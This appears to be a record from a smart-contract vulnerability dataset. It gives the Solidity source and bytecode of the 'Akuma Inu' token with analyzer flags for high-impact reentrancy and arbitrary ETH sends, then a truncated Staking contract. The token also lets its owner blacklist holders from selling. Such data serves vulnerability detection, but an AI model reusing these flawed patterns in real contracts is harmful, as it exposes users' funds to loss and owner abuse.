return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AkumaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Akuma Inu";
string private constant _symbol = "AKUMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f1578063c3c8cd8014610311578063c9567bf914610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b41146102a3578063a9059cbb146102d157600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526009815268416b756d6120496e7560b81b60208201525b60405161015491906119ef565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611880565b6103a1565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce366004611840565b6103b8565b3480156101df57600080fd5b506101f36101ee3660046117d0565b610421565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c366004611972565b610475565b34801561023d57600080fd5b506101f36104bd565b34801561025257600080fd5b506101a56102613660046117d0565b6104ea565b34801561027257600080fd5b506101f361050c565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b50604080518082019091526005815264414b554d4160d81b6020820152610147565b3480156102dd57600080fd5b5061017d6102ec366004611880565b610580565b3480156102fd57600080fd5b506101f361030c3660046118ab565b61058d565b34801561031d57600080fd5b506101f3610631565b34801561033257600080fd5b506101f3610667565b34801561034757600080fd5b506101f36103563660046119aa565b610a2a565b34801561036757600080fd5b506101a5610376366004611808565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ae338484610afd565b5060015b92915050565b60006103c5848484610c21565b610417843361041285604051806060016040528060288152602001611bc0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611033565b610afd565b5060019392505050565b6000546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611a42565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461049f5760405162461bcd60e51b815260040161044b90611a42565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104dd57600080fd5b476104e78161106d565b50565b6001600160a01b0381166000908152600260205260408120546103b2906110f2565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161044b90611a42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610c21565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161044b90611a42565b60005b815181101561062d576001600a60008484815181106105e957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611b55565b9150506105ba565b5050565b600c546001600160a01b0316336001600160a01b03161461065157600080fd5b600061065c306104ea565b90506104e781611176565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161044b90611a42565b600f54600160a01b900460ff16156106eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107283082683635c9adc5dea00000610afd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079991906117ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e157600080fd5b505afa1580156107f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081991906117ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086157600080fd5b505af1158015610875573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089991906117ec565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108c9816104ea565b6000806108de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094157600080fd5b505af1158015610955573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097a91906119c2565b5050600f8054673afb087b8769000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f257600080fd5b505af1158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d919061198e565b6000546001600160a01b03163314610a545760405162461bcd60e51b815260040161044b90611a42565b60008111610aa45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044b565b610ac26064610abc683635c9adc5dea000008461131b565b9061139a565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610bc05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610ce75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b60008111610d495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6000546001600160a01b03848116911614801590610d7557506000546001600160a01b03838116911614155b15610fd657600f54600160b81b900460ff1615610e5c576001600160a01b0383163014801590610dae57506001600160a01b0382163014155b8015610dc85750600e546001600160a01b03848116911614155b8015610de25750600e546001600160a01b03838116911614155b15610e5c57600e546001600160a01b0316336001600160a01b03161480610e1c5750600f546001600160a01b0316336001600160a01b0316145b610e5c5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044b565b601054811115610e6b57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ead57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb657600080fd5b600f546001600160a01b038481169116148015610ee15750600e546001600160a01b03838116911614155b8015610f0657506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1b5750600f54600160b81b900460ff165b15610f69576001600160a01b0382166000908152600b60205260409020544211610f4457600080fd5b610f4f42603c611ae7565b6001600160a01b0383166000908152600b60205260409020555b6000610f74306104ea565b600f54909150600160a81b900460ff16158015610f9f5750600f546001600160a01b03858116911614155b8015610fb45750600f54600160b01b900460ff165b15610fd457610fc281611176565b478015610fd257610fd24761106d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101857506001600160a01b03831660009081526005602052604090205460ff165b15611021575060005b61102d848484846113dc565b50505050565b600081848411156110575760405162461bcd60e51b815260040161044b91906119ef565b5060006110648486611b3e565b95945050505050565b600c546001600160a01b03166108fc61108783600261139a565b6040518115909202916000818181858888f193505050501580156110af573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110ca83600261139a565b6040518115909202916000818181858888f1935050505015801561062d573d6000803e3d6000fd5b60006006548211156111595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b6000611163611408565b905061116f838261139a565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122057600080fd5b505afa158015611234573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125891906117ec565b8160018151811061127957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461129f9130911684610afd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d8908590600090869030904290600401611a77565b600060405180830381600087803b1580156112f257600080fd5b505af1158015611306573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132a575060006103b2565b60006113368385611b1f565b9050826113438583611aff565b1461116f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b600061116f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142b565b806113e9576113e9611459565b6113f484848461147c565b8061102d5761102d6005600855600a600955565b6000806000611415611573565b9092509050611424828261139a565b9250505090565b6000818361144c5760405162461bcd60e51b815260040161044b91906119ef565b5060006110648486611aff565b6008541580156114695750600954155b1561147057565b60006008819055600955565b60008060008060008061148e876115b5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c09087611612565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ef9086611654565b6001600160a01b038916600090815260026020526040902055611511816116b3565b61151b84836116fd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061158f828261139a565b8210156115ac57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d28a600854600954611721565b92509250925060006115e2611408565b905060008060006115f58e878787611770565b919e509c509a509598509396509194505050505091939550919395565b600061116f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611033565b6000806116618385611ae7565b90508381101561116f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b60006116bd611408565b905060006116cb838361131b565b306000908152600260205260409020549091506116e89082611654565b30600090815260026020526040902055505050565b60065461170a9083611612565b60065560075461171a9082611654565b6007555050565b60008080806117356064610abc898961131b565b905060006117486064610abc8a8961131b565b905060006117608261175a8b86611612565b90611612565b9992985090965090945050505050565b600080808061177f888661131b565b9050600061178d888761131b565b9050600061179b888861131b565b905060006117ad8261175a8686611612565b939b939a50919850919650505050505050565b80356117cb81611b9c565b919050565b6000602082840312156117e1578081fd5b813561116f81611b9c565b6000602082840312156117fd578081fd5b815161116f81611b9c565b6000806040838503121561181a578081fd5b823561182581611b9c565b9150602083013561183581611b9c565b809150509250929050565b600080600060608486031215611854578081fd5b833561185f81611b9c565b9250602084013561186f81611b9c565b929592945050506040919091013590565b60008060408385031215611892578182fd5b823561189d81611b9c565b946020939093013593505050565b600060208083850312156118bd578182fd5b823567ffffffffffffffff808211156118d4578384fd5b818501915085601f8301126118e7578384fd5b8135818111156118f9576118f9611b86565b8060051b604051601f19603f8301168101818110858211171561191e5761191e611b86565b604052828152858101935084860182860187018a101561193c578788fd5b8795505b8386101561196557611951816117c0565b855260019590950194938601938601611940565b5098975050505050505050565b600060208284031215611983578081fd5b813561116f81611bb1565b60006020828403121561199f578081fd5b815161116f81611bb1565b6000602082840312156119bb578081fd5b5035919050565b6000806000606084860312156119d6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1b578581018301518582016040015282016119ff565b81811115611a2c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac65784516001600160a01b031683529383019391830191600101611aa1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afa57611afa611b70565b500190565b600082611b1a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3957611b39611b70565b500290565b600082821015611b5057611b50611b70565b500390565b6000600019821415611b6957611b69611b70565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e757600080fd5b80151581146104e757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202737e3e271772465e2c26e24a7adb503fd13e744d85df0dcc74300a438315e6d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,163 |
0x20bba3921b799194393bdda659c3068868fbb3c5
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public stakingTokenAddress;
address public rewardTokenAddress;
constructor(address tokenAddress, address pairAddress) public {
rewardTokenAddress = tokenAddress;
stakingTokenAddress = pairAddress;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
